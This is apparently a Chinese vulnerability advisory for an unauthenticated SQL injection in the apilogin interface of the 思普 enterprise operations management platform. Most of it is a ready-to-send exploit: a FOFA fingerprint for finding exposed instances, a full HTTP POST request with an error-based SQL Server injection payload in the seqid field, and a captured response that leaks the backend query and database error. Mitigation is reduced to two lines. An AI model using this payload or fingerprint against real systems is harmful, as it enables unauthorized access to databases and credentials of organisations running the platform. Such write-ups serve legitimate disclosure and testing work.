

思普企业运营管理平台 apilogin SQL注入漏洞

漏洞描述

思普企业运营管理平台 apilogin 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

思普企业运营管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：icon_hash="-403479360"

POC/EXP：

POST /ldsCenter/idsCheck?p=apilogin HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept: application/json, text/javascript, /; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0

X-Requested-With: XMLHttpRequest

seqid=1%27+AND+6884+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%286884%3D6884%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28113%29%29%29

--+cxaC&datasource=EOMP1

发送请求

强制 HTTPS

历史

Request

1 POST /IdsCenter/idsCheck?p=apilugin HTTP/1.1

2 Host:

3 Accept-Encoding: gzip, deflate

4 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

5 Accept: application/json, text/javascript, */*; q=0.01

6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0

8 X-Requested-With: XMLHttpRequest

9

10 seqid=1%27+AND+6884+IN+%28SELECT

+%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%28112%29

%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%286884%3D6884%29+THEN

+CHAR%2849%29+ELSE+CHAR%2848%29

+END%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR

%28113%29%2BCHAR%28113%29%29--+cxaC&datasource=EOMP1

Responses 1111bytes / 78ms

美化 渲染 详情

7 Set-Cookie: PHPSESSID=at02v0e03c0815TzT43e/ac8cudc0a0;

8 path=/; HttpOnly

9 X-Frame-Options: SAMEORIGIN

10 Connection: close

11 Content-Type: text/html; charset=utf-8

12 Content-Length: 1111

13 <pre>(fatal halted)

14 select ids_id,code_name,code_value,is_valid,userid,createtime,endtime from s_ids_auth where ids_id='1' AND 6884 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6884=6884) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(113)+CHAR(113)))--+cxaC' and endtime>2024-11-27 21:56:16' and ids_id='1' AND 6884 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6884=6884) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(113)+CHAR(113)))--+cxaC'

15 Exception::array (

16 0 => '22018',

17 1 => 245,

18 2 => '[Microsoft][ODBC Driver 17 for SQL Server][SQL Server]在将 varchar 值 '\qjqpq1qpqqq\' 转换成数据类型 int 时失败。'

19)

20 <- (1)pdo_db::pdo_db_fatal

21 (D:\eompcore\spcmp\impl\pdo\pdo-db.php/217)

22 <- (2)pdo_db::pdo_db_fatal

23 (D:\eompcore\spcmp\impl\pdo\pdo-db.php/217)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本